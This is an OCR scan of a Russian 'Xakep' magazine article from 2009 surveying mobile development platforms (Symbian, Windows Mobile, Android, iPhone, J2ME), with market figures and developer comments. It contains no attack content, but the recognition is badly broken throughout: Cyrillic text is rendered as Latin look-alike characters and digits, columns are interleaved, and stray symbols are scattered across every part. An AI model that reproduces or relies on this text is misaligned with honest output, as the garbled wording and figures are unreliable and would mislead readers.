AJII1 Mo611JlOKHaiiOMYlHaeT BepCTKy HTML -
XOPOWVlM61-13HeC{j,flI1JlKl61-1T€JleM KflOHVlpOBaTb nopHol1rpywKYI YI pa38JleKa
C03/J,a€Wb ,o.JlI1 Hero BOCnOJlb30BaTbCI1.
XAKEP 05/125/ 09
,[l,€Jl3eWb B€JlOCl-1n€A, a nOTOf·1
nep,aJlIII, pyJllll1-1 ce,[lJla, crro6bl KaA<,Qbl Lii >KeJlaKlu-\Y1 Lii Mor
TeJlbHble nporpaMMKIII. 3apa6aTbiBaTbAOflJlapbl MO)f(HO Yepe3 nOKa3 pem3Mbi Y1JlYl KOHTpaKTbI C onepaTopoM
~
091
I 1
I-
»
.1
.=r:::::J
coding
r+
I
4-
+-1
+- -I I ., +- ... ,- . .;. +.1-SYMBIAN cnPABKA
+
t'+i-+---r
+
,.+++++++
60nbwoe 1(Q11l-1~eCTBO pa3pa6oT41-1KOS
V1cnollb3yeMble l'l3bl K~ H~3KoypOBHe8oro nporpaMM~pOBaH~R: Symbian
=r:::::J ..l.-, .
6a3e Android. OAHaKO CllO>KHO roElOPl-1Tb 0 nonYllRpHoCT~ yCTpoCicTB B6YAYl1\eM. Google yAallocb c<Pop ..... l-1pOSaTb npeKpacHoe KO.\IIbIOHlilH? npVlBneYb
c++,
iii
n0Ar0TOBVlTb.QJ1Sl Hl-1X nO,lJ,p06HylO
j:\oKYMeHTaLJ,l-11O CMHO>KeCTBOM np~MepOB. yj:\06HYK) cpeAY pa3pa60TKI-1. 3TO
C,C++
HeCOMHeHHb/e nfllOCbl, 80TTOJloKO nOKa ClIC;t:;;HO nOI1YYl-1Tb 3a CSO!O pa60ry
n p~MepHoe KOJl~"leCT80 npO,lJ,aHHblxyCTpoVlCTB: 226 MnH, [sMeCTe c RnOHCKI-1
,o,eHbrl-1. ecn~ Andrcid-KO,ll,ep. KOHeYHO. He pa60TaeT Ha CO¢TsepHYIO KOMna
MV1 Mo,a,enm-1l1]
Hl-110 C3aKa3YliIKaMl-1S ,D,<JlleKoi1 AMepVlKe .
AOllR pblHKa cMapT4>oHoB: 66%
KOJl~"leCTBOBblnYlUeHHblx MOAeJlel1 TelleepoHoB:
BEPAI1KT
159
n03I1H1BHEHbKO:
-+
~
::::r::::J -+
~-+
Pa3YMHee nOKa Bblcrynl-1Tb B p0111-1 Ha6nlO,D,2leJlI1 Ha 6yMare (1-1 B 06el1\3HV1SiX
• OC pacnpoCTpaHeHa l-1 BeCbMa nepCneKTVlSHa
MeHe,D,;t:;;epos)sce KpaCl-180. a eOTHa .neney Hac TOll:'KOTPIiI nonYOAVlHaKOSblX
• Cneu,VlanVlCTbI socrpe60BaHbi VI SblCOKoonna4~BaeMbl
Tene¢OHa OT HTe iii MHorO-MHoro TeMaTI-1'ieCK~X HOBOCTeCi Ha 6norax. ,Ua)Ke B
• MHO)l(eCTBO Cpe,lJ,CTS pa3pa6oTKV1 V1 COBMeCTl-1MblX $pet:1MBopKoB
3TOM MaTeplllane l-lawI-13KCnepTbi ynOMAHyfll-1 06 Android. 1-10 CaMl-1 CT,AaeaTbCSl
nPIJTI1BHEHbKO:
3TO~ nnaT¢JopMe He cnewaT. ~4-
·s:l3b1KTpy,a,€H BOCSOeHl-1V1
+
'1
.j
,.+-+- . . . +...;.
~++-r
-1
+·~·
.... ·.,l.c·i
• Ps:t,lJ,np06neM COBMeCTl-1MOCT~ Cpa3HblMl-1 Mo,qen51Ml-1
WINDOWS MOBILE CnPABKA
++
O,lJ,H3 l-13C3MbIX,lJ,peSHl-1X onep3L\l-10HHbIXCl-1CTeM C>KyrKO HenpOCTOI1l-1CTOpll1e~
npl-1MepHOe KOll~4eCTBO npoAaHHblxyCTPO~CTB:
l-1,lJ,06poiJI cOTHev. SbinYllleHHblX yCTpoCicTB. 3a 60nee "leM 15fl€Tpa3BV1T101R
aaHI-1A,
::::r::::J
onepaLJ,l-10HKy l-1 BeCb conyrCTsylOw,l-1Ci l-1 KCTpyMeKTapl-1i1 ,lJ,0,lJ,eflbIBal1l-1. nepe,lJ,e
AOllRpbIHKa: 13%
JlbISanl-1. 06HOBl151llll1l-1 Aosenlll,lJ,OTOro. YTO sce CTanOAI-1KO CllO>KHO. Tyr l-1 113b1K.
KOnI-14€CTSOBbIflYllleHHbtX MOAelle~lTene¢>oHoB: 6011ee 30 HOBbiX MO,lJ,eJlet'1 B
MaKCl<lMaflbHO HanOMl-1KaKll1\I-1i1 crapbllilA06pbll1 C, KOTopbllil3aywI-1 npl-1T51HyflVl K
npOWI10M ro,lJ,y
narrepHaM V11-1,lJ,eRM oon, l-1 nepe)Kl-1SaHl-1s:l no nOBop,yCOBMeCTI-1MOCTI-1C pa3Hbl
n0311nlBHEHbKO
• CnO>KHa51 Cl-1CTeMa CepTlt1¢J~KaL\~~ nporp3MM
V1cnoflb3yeMble Sl3blK~ H~3KoypoBHeBoro nporpaMM~pOBaH~A: CH-,
+++
-+ ~ +-
::::r::::J
20 MllH_ B npOWJIOM roAY
MVlSepCI-1s:lM~ nnaT$opMbl, cepn'1¢l-1KaTbll-1 np0'il-1eOTBfleKaKll1\V1eAeTanl-1.
• n03BollAeTpa6oTaTbc )f(ene30M Ha Hl-13KOMypoBHe
Nokia nOCTOs:lHHO nblTaeTCR nOnpaBl-1Tb Cl-1ry3UYlIO - nopTl-1poBanl-1q>peLilMBopK
·YA06Hble cpe,a,CTsa pa3pa6on:liI
Qt. 6Yl6m10Ten1 P.O.S I.X. 6a30Bble KOMnOHeHTbI STLl.1 Boost. P~A KJlK)~eBblX API
C++ (I05treams \II l1>Kec H~Ml. ECTboTAellbHble npOeKTbI, n03BOfl>lKll1\l-1e Ha
• Ka'ieCTBeHHa" .rl0KYMeHTaL\~s:l
npOTHBHEHbKO:
Symblan-cMapTax3anyCKaTb no, Han~CaHftOeHa C#, Ruby. Python. npli16aSb
• OC CliIllbHO OTCTaeTOTCOSpeM€Hl-lblXTpe60BaHliI(;1
K 3TOMyc~nbHO€ KOMb!OHl-1TI1. pa3Ho06pa3Hbl€ nool1\p>l!Oll..\~e KaMnaHI-1I-1AJl>l
• YCTpoLilCTB3 - npelo1MYl1\eCTBeHHoa3lolaTCKoro npCliICXO>K.rleH\IIA
pa3pa6oT"l~KOB ...-
• OCHOBHble nOllb30BaTenlil - Kopnopau,l-1l-1l-1TeXHc$pl-1Kl-1
~ nonYYV1Wb npYlMepHylO KaPT~HY npOTl-1!30pe4I-1Boro Ml-1pa
C# .Net
50 MllH, CHayaJla CYl1\eCTBO
Symbian-ACGeI10nepos. YTO,lJ,O. c06cTBeHHo. npOA8.>K nporpaMM,- AoneTa
.• +++
00 3TOM MO;:l<HQ He AyMaTb. Nokia 8HOHcV1poBafl3 Mara311lH no, KOTOpbli16YA€T
TaKoe Oll\YLLleHYle. 4TOJln3HpopMY H2MepeHHo JarH311l-1 Brynl-1K - OHa He
BCTpaI-1BaTbC>l a HOBblecMapTbl. HO nora HenOHflTHO. KOro
OTBe4aeT COBpeMeH HblM Tpe60saHl.1s:lM KCi<OPOCTl-1 pa60Tbll-1HTep¢Jeillca.
ltl
KaKryAJ nycT>! 1.
B 3noxYApKO
80 scex COBpeMeHH blX Aesal:1cax ClIIHTep¢eLilcoM 560 eCTb cepsl-1c Download I.
MynbTIo1MeAl-1~I-IOCTl-1. Ka4eCf~y, l-1HTerpaL\l-1l-1 CWeb l-1 CepSltlC3Ml/L
Ky,lJ,a ¢J~HHbl nycKaKlTTol1bKO cynep-nynep KOMnaHl-1l-1 (BbICOK~M CTalycoM Yl
Kpaco4HbiX AMOLED-3KpaHoB WinMo nOMep>KliIBaeT Bcera 65 535 L\BeTOB 11
::::r::::J
OyeHb TOflKOBblMI1 np0,lJ,YKTaMV1. El1\e cYllleCTByeT BCeTOT>Ke GetJar. cneUl-1a
6e36o>KHOTOPM03V1TAa>t<e Ha caMOM KpyrOM >!Celle)e. CBe)i(eHbKaR aepclo1Sl6.5
Jl\13l-1pOBaHHbllil Handango VI BCTpoeHHblLils caLilT Nokia Mara3lt1H. HO 3TOy>t<e
VlMeeTHo8bli1 M8Kl-1R>KAa napy KeKOHL\emyal1bHblx ~HHcBa4~i1. KOTopble Mano
-+ .
coaCCM APyroLil User Experience. He>KeJlYl nOKynKiJ cotPTa npl'lMO cAesai1ca
ltIcnpaSJll110T n0I10)KeHlIle.
+
BJlIOOOM cI1Y4ae.- npoA3Tb npOcTeHbKy!O l-1rpy I1fl~ nporpaMMY B Ml-1pr;
8 TO)f(e BpeMl'l nl1aT¢OpMa npeJ\OCTaBfll'lCT 6eCnpeLJ,eAeHT'10 HIo?3Kl-1~ ypoBeHb
Symbian HeyA8cTC>I, 3AecbAPyrne l-1HTepeCblL-1 >KeJ1aHl-1s:l. Symbian SDK
Aocryna K>Kefle3Y. OyeHb yaCTO nporpaMMbl. KOTopble MO:>KHOCJ\e1l3TbMA
npe,lJ,OCTaSnSleT rl-1raHTCKl-1e 803MO)l(HOCTI1l-1 nOllb30B8Tefll1 npl-18bIKlll-1 K
WinMo, Hellb3s:l peam130BaTb HI-1 Ha OAl--!oiJI,lJ,pyroii nflaT¢JopMe. V1.'-1eHHono::noMy
M3KCl-1ManbHO SblCOKOMY ¢JYHKLJ,V10Hany. Ho 1-1 (TOIllT MeCTHoe
no He $5. a. KaK
::::r::::J -+- -,
BKyne CcaMblM nepe,lJ,OBbIM)Kefle30M. KorAa-To TonbKC l--'aAesaiicax CWindows
BEPAI1KT
Mobile MO>KHO 6blJ10 <lCTpeTII1Tb VGA-3KpaHbI ~ Wi-H, Tenepb eWindows-re
Symbian-,lJ,eBeJlOnepaM nY4we pa3BI1BaTbc>! B CTopoHypa6OTbi B coqlTBepHOLil
n64>oHbI CTaBs:lT3KpaHbl cCyMacwe,owliIM ptl3peWeHV1eM800x680. CKOTOPb1MV1
KOMnaHIIlI-1. He>Kefll-1 B K8yeCTB€ l-1H,lJ,I-1Bl-1,lJ,yaflbHoro KOA€pa. BOT3TO- ,lJ,eLilCTBV1
MOryr copesHosaTbcA TonbKO MOHCTpbl SlnOi--lCKO,O pblHKa npl-1 BceM o6l-1nl-1l-14>YHKl\I-1~. MOUJ,HOM )Kel1e3e \tIOor<nblX B03MO>KHOcrRX KOHe4
Tel1bHO nepCneKTl-1BHO l-1 naXHeT 3eneHblMl-1 KYniOpaMl-1!
-1" .... 1- ... +-
l~
+-r+-
-+j-
+ +
+ t
++- .- -
-'
J.
+
""to
l
YWinMo np06JleMa TaI-1TC~ rny6oKo BHYTpV1, B Kpl-1BOSaTOM KO,lJ,e l-1 MeAlleHHOLil
V1cnollb3yeMble S'l3bIKI1 H~3KoypOBHeBoro nporpaMMl-1pOSaHIUI; Java npl-1MepHOe KOI1l-1"leCTBO npoAaHHblxyCTPO~CTS;
Hble yCTpOf1CTSa COBepweHHO He y,QOBfleTBopSlIOT 3anpocaM COBpeMeHHoro nOflb30BaTeflA. np~SblKwero KKpac04HoMy V1 6blCTpOMy ~HTep¢e~cy iPhone.
ANDROID
CnPABKA
pa3pa6oTKe HOBblX BepCl-1i1.
1 MV1JlllI10H
}J,onSl pblHKa; MeHee 1%
BEPAI1KT
KOJ1lo14eCTBO SblnYlUeHHblX MO,lJ,elle~ Tene4>oHoB:
Windows Mobile HeyMep Itl He yMpeT - PeAMOHJ\ew,eAonro 6YrleT nOMe
n031llTHBrlEHbKO
p>Kl-1BaTb CBOIO DC l-1 nbITLlTbCSil-1CnpaBV1Tb nOflO)KeHlIle. nOTeplO nonynAp
• Y,lJ,06Hble cpej:\CTsa pa3pa6oTKl-1
HOCTl-1 yMHb111 KO,lJ,ep MO>KeT I-1Cnonb30BaTb AI1>1 p€aJ1I-13aU~~ cso~x aM6l-1l.\"~.
• nO,lJ,pOOHaR AOKYMeHTaL\l-1Sl
Be,D,b HaAO >Ke C03,L-laTeflrlM HOBeHbi<fIX HTe YTO-TO CTaSlI1rb Ha C801-1 AOpOrf1e
• 5ecnnaTHOCTbA1l51 pa3pa60T'-lIl1Ka
l-1rpywKI-1?
npOTHBHEHbKO • KpailiHe MallOCOBMeCTIiIMblX MOAeneCl
+++ 3nl1J10r
• Cl-1CTeMa ellle,lJ,OCTaTOllHocblpaSl
Tbl HaeepH>1KaA<,lJ,eWb3aKllKl4eHl-1rl, rJ],e YMHb,ellKl,lJ,~ OTnpaB~TTe6>! no
1
:r:::J
Bee npOMblWfl€HHble KOMMYH\IIKaTOpblltl pa3Hoo6pa3Hbie cnel1l1al'l-13~pOBaH· Hble yCTpoi1cTsaAellaIOTCs:l Ha 3TO~ OC_ Aeti.l,e OC OT Microsoft wnOflb3YKlT
Ml-1HV1MyM. $25. aTO l-1 $50-70 [oblBaeT l-1 TaKoe).
t--t-t
t
+_~l
-.I-+"7"+-+r
• CneLJ,>1al1V1CTbl Mano 80CTpeOOBaHbJ Ha pblHKe
Il}0KHoMY3Apecy. cKa;:+<yr. "lTOCKa43Tb, nOCTaSl-1Tbl-1 H3 4€'M KO,lJ,l-1Tb. V1 HanpacHo
Samsung l-1 MHorV1e Apyrne KOMnaHI-1l-1 n006ell\311l-1 BbinyCTI-1Tb3nnaparypy H3
)KJleWb_ 3TO He V1MeeT CMblcna 6e3Y4eTOB COTHV1 BTOP1-1"lHblx¢JaKTOpOB f1YCI10
~
092
XAKEP 05/1251 09
»
coding
epeMeHHD pa3BI-1BaeM HeCKOJlbKO HanpaSJleHI'1i:i, TaK\1X KaK: Symbian,J2ME. WinMo, iPhone, Android wLinux, L-lTo6bI6b1Tb rOTOBbIMl.1 K B03MO)KHb/M r:epe MeHaM pblHK8 V1 '-no6bl Hac He 3ap,eJ111 TpYAHble BpeMel-la III1H1 3aTOpMa)Klt1BaHI.H~ pa38tHV111 J1~6oro ltlrpOKa I1H,D,YCTPIM1.
oPA50IE: Mbl CYl-1TaeM, 4Toycnex npoeKTa 3aBl-1Cl-tTHeOTl.tcnO/lHSleMoroSl3bIKa V1J1\1 nnaTepopMbl, a OTCTeneHI1 roTOBHOCTltl KOMC!H,D,bl KpeWeHL-11O B03MO>KHbIX
(nporHo314pyeMblxl npo6neM, aTalOKe OT creneHVI cnO)l(HOCTltl npoeKTa, KOH€4HO ra BI1,IJ.eI-H111 npOAyKT3 3aKa3'-1l11KDM lt1 HaweCi mW8H0cn15bICTPO, Ka'-leCTSeHHO
CAenaTb n POAyKT 8 OTBe,n,eHH ble CPOKI/L
++++++++++++++++++++++++++++++++
m::i!m:Iii OTPACllY1: Mo6i'lllbHOe no, 8CTpoeHHoe no, VoIP, Java,
.NET, CllO)KHble WEB- npl1nO>KeHt1R
M05Y111bHbIE nllAT<bOPMbl: iPhone. Android, Windows Mobile, BlackBerry,
H~KII1TAJlEOHOB.
~
KOMnAH~~CACTUSSOFT
Symbian,J2ME. nOAPo6Hee: caclusso[l.blz
'
03AKA3AX: nOClleAHlt1e nOllrOAa Mbl nonyYaeM MHor03aKd30B Ha pa3pa6oTK)'
~
nOA iPhone. 501lbWl-lHCTBO HGiWl-lX 3aK33Ylt1KOe - aMepV1KaHCKlAe KOMnaHIt1I1. a 8
CWA iPhone 04eHb nonynl1 peH. nO,ll,orpesalOT \o1HTepeC KnpOrpaMMi'lpoaaHlAlO
nOA iPhone V1 MHOrO~I-1CJleHHble success stories 0 ((8bICTpellIt1BWltlx» nporpaM
8L1~. L.(e11b CTaTbl1- nOMOYb leee CAenaTbnpaBliIJlbHbli1Sbl6op. YBlIIAeTbTpeHAbl V1YCJ1b1WaTb MHeHl-1>l3KCnepT09.ABbl80,D,bl nplo1,D,eTCI'l
MHblX npoAyKTax.
p0)l(AaTbY)l(eCaMoMy.
)J.ep3a~!
KPI-1C AbIOPI-1.
KOMMEHTAPl-U1 3KCnEPTOB
KOMnAH~~
GETJAR
mIDmD OTPACn~:TeJleKOMMYH"'KaL\V1L1,¢I-1H3HCOSd>l c4Jepa.
3,lJ,paBOOXp2HeHlo1e, 6e30naCHOCTb, L1H)l(eHeptMI, TpaHcnopT VI C5bIT.
M05~bHbIE
nllAT¢OPMbl: Windows Mobile, Symbian, J2ME, Brew,
Android
nOAP05H EE: sJ:ns.oft.c.om.
o 3AKA3AX: CeL14dC, cKopee. Mbl 06bl'lCHI'leM Klll1el-ITY,AIlI'l KdKoiil rlJlanpOpMbl eMy JlY4we pa3pa6aTbisaTb no. He)!(elll1 H306opOT. Knl1eHTbI nplAXo.Q5IT IllAWbC V1,aeI1MV1 .., CV1llbHbiM )l(enaHl-1eM BonllOTl-1rbl-1X S;K1-13Hb.Aallbwe - p<e pa6oT3 HawV1X 3KcnepTD8. B 3aBI-1CI-1MOCHiI oTc4Jepbl.QeI'lTellbHOCTlA. o6pa33 KOHe4Horo nOllb30BaTemi I-1APymx4JaKTOp08, 3KcnepTbi nllaHl1pylOT 1-1 peKoMeH.QYIOTTe V11lt1 V1Hble nlldT4>opMbI. o nEPcnEKH1BAX: CnOJKHO BblAelll1Tb npl10pl-ffeTHylO nn3T¢opMY. Mbl O,o,HO XAK[P OS/t2Sf 0'1
~
093
,+-+
>> coding
:::::r::=J +++
H04aMlil3a.n,e6arrepOM. Bce 3TO R3H3fO no co6CTBeHHoMy onbllY. TaK 470 MO~
1_++
COBeT- CHa4ana 4VlTaC1Te KHL1>KKliIli1 HeoAlilH pa3, ~OTex nap. nOK3 He noi1MeTe
L
TeopVlfO, VI TOJ1bKO nOTOM Ca,D,lilTeCb 3a Carbide
:::::r::=J
nOCJ1e,D,Hl.1e SDK Hoefll nplolCTasKy all-in-one: BHI-1X AXO,QS1T cpe.n,CTB3 pa3pa 60TKltl Ha Symbian C++. Open C/C++. Java, WRT [BlilA*eTbl )1.n~ 6pay3epaJ lol
+ ';"·'1
Python. BK,NeCTBe IDE peKoMerL.llYIOCarbide.c.,.+ 2.x- 3TO Ha~6oJ1ee MOW,Hbli1 III y.n,06Hbl C1lt1HCTpyMeHT, KTOMy >Ke. C~eK36p>l2008 CT3BWI1~ 6eCOllaTH bl M. Ha AaHHblL1 MOMeHT Carbide.c++ n03BOflReT C03,Q3saTb np'.1J10)KeHIol51 Ha Symbian
C++. C/C++ lil QI. QllOKYMEHIAUVlVI: SDK KCMnJ1eKTyeTC>l BHYWli1TeJ1bHbIM cnpa804 H\1KOM. 8
t I
lJ,eJlOM, HeA0CTaTKa 13.n,OKyMeHTaU,111-1 no nllaT¢opMe Symbian HeT. E,QI1HCTBeH
::::r:=J
Ha5l npo6neMa - 04eHb Mano PYCCK0I13bI4t-:bIK MalepVlaJ108. o KOMblOHHH1:3a OTBeTaMlil Ha yaCTHble BonpOCbl MO)KHO o6paT\I1TbC~ B Forum Nokia. 370 nOJ1Hou,CHHa~ opraHlil3au,lt1I1, B3a,D,a4l-1 KOTOPO~ BXO,ll,li1T83a
I I
\.1MOAeC1cTBl-1e COlil3H€COM 11 pa3pa60T4L1K3MIol. 3a AOKyMeHTaLl,lilei'. tla pyCCKOM MO:>KHOCXO,D.lIITb Ha devmobileru. 05ANDROIO: Android Cill1WKOM CbIPOV!. Googley.n,3J10CbOTl.f3CTli1 nOBToplilTb .~+
...
WOW-3¢¢eKT Apple, lol MHorlile nporpaMMlilCTbI803J10>K\1J1L1 Ha Hero Heo6oc HosaHHble H3,D,e>KAbl. H0516bl nOA0>K,AaJ1, nOKaAndroid nOKOpL1T06ew,aHHble
::::r:=J
o nEPCnEKTHBAX: Ce~YaCOplileHTlilpyeMc~ Ha ,Phone, Symbian li1 BlackBerry, TaK Ka Ky;>Ke HaKOnlilnlil AOCTUTOYHO onblTa. a 8HywlilTenbHoe nopT¢oflVlO npIIIBnl?
~++
KaeT HOBblX KJ1l-1eHTOS. B.o,ollrOCpOYHO~ nepcneKH1Be !cKOpee scero, 6JlVl>Ke K 2010 roAY) Mbl paCC4L1TblBaeM Ha nOTOK3aK330S nOAGoogleAndroid.
oPA50TE: KOHu,emyaflbHolii pa3Hlilu,bl Me>K,D.ynpoeIffilMI-1Afl>l pa3HblxclilCTeM HeT, HO Afl>1 iPhone lilAndroid, Bo6w,eM. nonY4aeTC>l ner--te. B.o,aJlbHeli!weM
+++
pa3pa6aTbiBaTb no.o,Android 6YAeTCflO;>KHee 11-13-33 60ilbworo Konlil4eCTBa yCTpoikTGHa pblHKe OTpa3J1lil4HblX npOVl3BoAl.neneVl, 4TO nOTpe6yer AOnOnHli1
'::::r:=J +
T€nbHblX pa6oTl.
++++++++++++++++++++++++++++++++
mEl OTPACJ1H: caMbllii nonYfll1pHblW 8 Mlilpe KaTaflOfM06L1J1bI-lOrO no li1 KOMbfOHL1TI-1 pa3pa60T4lilKOB. nJ1AT$OPMbl:Java. Symbian. Windows Mobile, BlackBerry, Palm, Flash lite.
j
I
nOAP06Hee: getlar.com.
onJ1AT$OPMAX: CerOAH51 caMo(;1 nonylll1pHol!i nJ1aT¢>opMOf1, 6e3cOMHeHIol>l, '::::C::J ,
~Bfll1eTCtl
Java. 8 3TOM HeCflO:>l<I-loy6eAlolTbCrI, npOCMOTpes HawycraH1CTIolK'!'
stal s.getja r.com. 50nbWli1HCT80 113 nepBOIAASaAu,aTKIol nOAD.ep)KI-1BaeTTOJ1bKO Java. ~ Bo06L.1J,e, Ha pblHKe MaKClilMaJ1bHOe KOJ1\11yeCTBoJava-cOBMeCTli1MbIX Teneq,OHOB.llTO KacaeTCSl 6J1lil;>Kai1wero 6YAyw,ero, T04epe3 3-SileT IlI1AepaMlil CT3HyrSymbian lil iPhone lB npL1Se.o,eHHoM nopl1.llKel. NokiaaKTIolBHO npOABli1ra eTSymbian. n03TOMY, nOK3 QHa He CMeHL1T nOflIolTI1KY, ySymbian 6Y.lleTOrpOMHa51 .ll0Jl51 pbIHKa.Aofll1 pblHKa iPhone YBefllil41olTC~ nOCJle n0l18J1eHI-1Sl6011ee .llewe
+
BO~
MOAeml. 4TOAOIl>KHO Cf1}"-1lilTbCR OTHOOllenbHOCKOpO.
::::c::J
05 AN DR OJ 0: Android npeTeHAyeT Ha MeCTO AOM V1HaHTHo~
.+;-
,IJ,L1Temll>lIolY,llo6eH.llfl51 pa3pa60T4L1KOB
l
+
f::r::::::J .;.t-
'::r::::::J +~i
._+-
8blCOTbl, npe>K,[l.e yeM Bcepbe3 paCCM3T;)l.1BaTb 3ry OC. Android Y>K-e cel1yac
o PA50TE: OTfllll4lole GetJarOT APyrl'1X Mara3V1HOB \11 Mo6lilJ1bl~bIX npVlflO)l(eH\I1V1 B
VlMeeTcepbB3Hbie npo611eMbl CCOBMeCTlilMOCTbIO. 50IOCb,,D,J1>l 3TOVI DC 6y,nyr
TOM, 4'70 Mbl HeorpaH1iI4li1BaeM nonb30saTellR KaKO~-TOOAHO~ li1flvt napoti nnaT
xapaKTepHblBCe tle,D.OCTaTKlt1 J2ME. C03AaHlile npIilJl0)l(eHl'1lii Ha Java - 33
¢>aPM. Mbi npe,a,oCTaSn>leM MaKCVlMaJ1bHbIVlBbI6op, nplilBneKaeM pa3pa6oT'1l<1KOB
HSlTVl" Hec..nO>KHoe. n03TOMY coo6I.J.J,eCTBoAndroid·pa3pa60T4lt1KoB .o.OBOflbHO
Bcex: r,epCfleKTI-1BHbIX nnaT¢>opM \.1 n03BomeM IolM 3apa6oTaTb. Ha\.16oJ1ee aKlVl8HO
MHoroY\.1CneHHO, a 3Ha4lt1T- Bb!COKa KOHKYpeHLV'ISl. KaK pa3pa6~IilK. ~ eei1,.ac
pa3BlilsalOTCfI OTAeflbl J<lva, Symblan. BlackBerry, Windows Mobile lil Android.
He Bli1XYS03MO>KHOCTeVi nony'leHlill1 npVl6bl}l\t! OTC03,QaHlil>l npltlflO>KeHlilliiAJ1R
++++++++++++++++++++++++++++++++
ryrJlO¢OHOB. 05IPHONE: pa3pa6OTKa npl<1flO>KeHIolSl A"~ iPhone He lilMnoHl1pyeT MH€
~ OnbITPA50Ibl:5ymbianOS[nnaT¢>op Mbl 560 l'1 UIQI. HeMHoro Windows Mobile. 3ACJ1Yr~:
++
Linux~nflaTq,opMbl.
OH npeAflaraerrlol6Kylo CI-1CTeMY J1lilLl,eH3li1pOSaHlilR. HVl4ero He ClOIolT np0l<13BO
Accredited Symbian Developer. Forum Nokia Champion
no lil)1eViHbiM C006pa)l(eH\I1SlM. nJ1aT4!0pMa Apple IilMeeT60nbwoe 41>1CJ10 OrpaHlilY€H/ilVI. KaK BCJ1eACTBlilBTeXHW1eCKI1X oc06eHHocTeC1, TaK lillil3-3a oco6o~ nOll L1H1 Klol KOMna Hlill1.l.J,e"ble KnaCCbl nplt1J10>KeHIoli1 p'fll1 iPhone
Jl106101I: Symbian as. nn3Tq,opMa 560.
c03AaTb npocTo Hl?B03MO>KHO. CpeAVI 0AHomnHbiX nporpaMM CllO)l(Hee
HEJ1105~T:
KOHKyplolpoBaTb, lil H3 nepBoe MeCTO BbIXO,D,IH MapKeTVllir, a He MaCTepCTBO
iPhone
o Kon~HrE: Symbian c++ n03B0J151eTC,QenaTb Ha S60TO. 4TO He Moryr HI-1 J2ME. HL1
pa3pa6oT4lilKa.
KaKOM-flV16o.o,pyroi1 Sl3blll; npOrpaMM\.1pOBaH\I1Sl WlI1TeXH0J10rl1Sl. ~3YYaTb ero MO)l(HO
OnEHbrAX:Symbian li1MeeTpl'l)1 npelolMyw.cCT8 nepe,D,APyrlolMlil DC - 3TO
cpa3YflOCJle 6a308oro Io/PCCI oon 11 C++, KOTOpbllii MHOrl1M 4lilTalOT BBYJe. OnbITpa3
Wli1pOKlile 003MO)l(HOCTl'1 VI pacnpocTpaHeHli1€. CBO~ App5tore He.o,aSHO opra·
pa60TKlil npliln<»KeHI1f1 AJlSl WindCM'S HeTpe6yeTCSl - Hao60poT, MO>KeT nOMewaTb.
HL130Ban Samsung, Nokia aHOHC\o1pOB3fl3 Ovi Slore 1'1 npe,D,ocraeJ151e7 Ha60p
«V1HAycCKL1i1 KO,l].». npeHe6pe>KeHlole npasHflaM lil,.n.3>Ke HapyweH lile cor.na
pa3J1l.14HblXnporpaMM no s3a\:lMo.oeillCTBItlIo C61ol3HecoM 101 KaHa.nbl npo.lla:>K
WeHIiI5l 06 lilMeHoaaHlol1iI 06beKlOB - OTOnblOTC>l npOrpaMMI-IC1)'6ecCOHHb1Mlil
CO¢>T<'l VI KOHTeHTa.
~
094
XAKEP
os 1125109
» ++++++-'--
coding
+++++++++
~th1{tfM
:11(
:J2ME,Windows
Mobile 2003/200S/clJ, 3ACJ1Yr~: Senjor~
_ ...Ib"""
J1106HT,J2MEIMID"-,-HEJlIOEi~T:Symbi.er
_::c:::u:it illeOUIxOpowo3HaewbJava. Y
OEiANDROID: Ha~
\13bIKa/nn3r¢opMbl eCi:>~~.~PKl-\. HO rAe lJIX Her? Boo6111e, 8 nnaHe 3aK08blpOKY&3~~Oepacnpe,q€ n eHl1e, TO eCTb, y
acex KOfllJ1yeCTBO 6aroBi1;:~p2:3HO:l-Gooqle CYMeJla CB3S1Tb OlleHbYJl.o6 HblM
SDK, (03,0,38 yCflOBIIl\1AJlR KOM~OPTHOi1 pa60lbl ACB€ n Onepa.
nOHI1THO, YTO
Bee 3TO ew,e A::JBOIlbHO (blpae \.'1 6YAeTMeHI1TbUi, HOYACe cei1'13cryr MHOro BCeiD
YfJ,06HOro. V1 H8!l. Google He sween XBOCTCDBMeCTVlMOCTVI c npe,!J.bl)Wll\VlMW BepCI1>iM\II nn3npOpMbll1 apxillBOM.AeBa~COB,n03ToMY API AJlR
Android lllJ1LLJ,e VI
KpaCI-1Bee OnOKYMEHTAW"'~:AoKYMeHTal.J,iI1lO c,o,en3JllJ1 nOYTlJI VlAeallbHO -
11 AOXOAYVlS3". $16bl Ol.\eHVlJl H3 4 no mnVl6allbH0L1. Aa
(II
nOAPo6H3>l
KOMbfOHl1Tl1 y;t:e c¢op
«GOOGLE CYM EllA CBASlTb 04EHb YA05Hbl~ SDK, C03AAB YCllOBHSl AllSl KOM<I>OPTHO~ PA50Tbi AEBEllOnEPA. nOHSlT HO, 4TO BCE 3TO E~E AOBOllb HO CblPOE H 5YAET MEHSlTbCSl, HO Y>KE CE~4AC TYT MHOrO BCErO YA05HOrO».
HecomaCOBaHHO, n03TOMY np0l-13Bo,o,l-1Tefll-1 ,o,eJlaIOTCBOI-1 HI-1 CyaM He COBMeCT>1Mble API. OrcfO,o,a Bce np06Jl€Mbll-1 r0JlOBHa>l 60Jlb. He cy~eCTByeTCT3H,IJ,apTHoroAPIAJl>l o6pa6oTKV1380HKOB lIInl-1lnstant Messaging, HeTSIP-CT€Ka,IJ,Jl51 VoIP, a craH,IJ,apTl1bl~ Ha60p UI-KoMnoHeKToB 60Jlee yeM CKpONeH. Bce 3TO 11 MHoroe ,DJJylOey K3>K,IJ,Oro np0l-13BO,IJ,lIITeJlt1 YHl-1KaJlbHO, a Ko,o,epy npl1xo,o,l-1TCR nO,rJ,CTpaI18aTbC>1. J1yYOM CBera B TeMHOM u,apCTse BblrJl>l,IJ,\I1TJavaFX Mobile, HO 3TO 6y,o,yw,ee, B03MO>KHO, ,qafleKoe.
o KOA~HrE: Java ME no CI-1HTaKc\I1cy npaKTI1'1eCKl1 COBna,o,aeTC «60JlbW0f1li Java. OTC\jTCTByeTfinalization, JNI,qJl>l pa60Tbi C6l-16Jl\l10TeKaM\I1, Hanl-1CaHHbIMl-1 He Ha Java,
l-1
eCTb p>l,IJ,,[\pyrl-1X OrpaHI-1'1eHI-1~, Bce KflaCCbl, OTHOC>lW,l-1€C>l KM E,
crpynn\l1poBaHbl BHyrpl-1 naKeTOB javax.microedition. CTaH,D.,apTHble cpe,o,CTBa R3blKa crpynnl-1pOBaHbl nOTeM;t:e naKeTaM, '1TO l-1 eeCbMa
cOKpa~eHHoM
B Java
SE, TOJlbKO, KOHeYHO, B
COCTase.
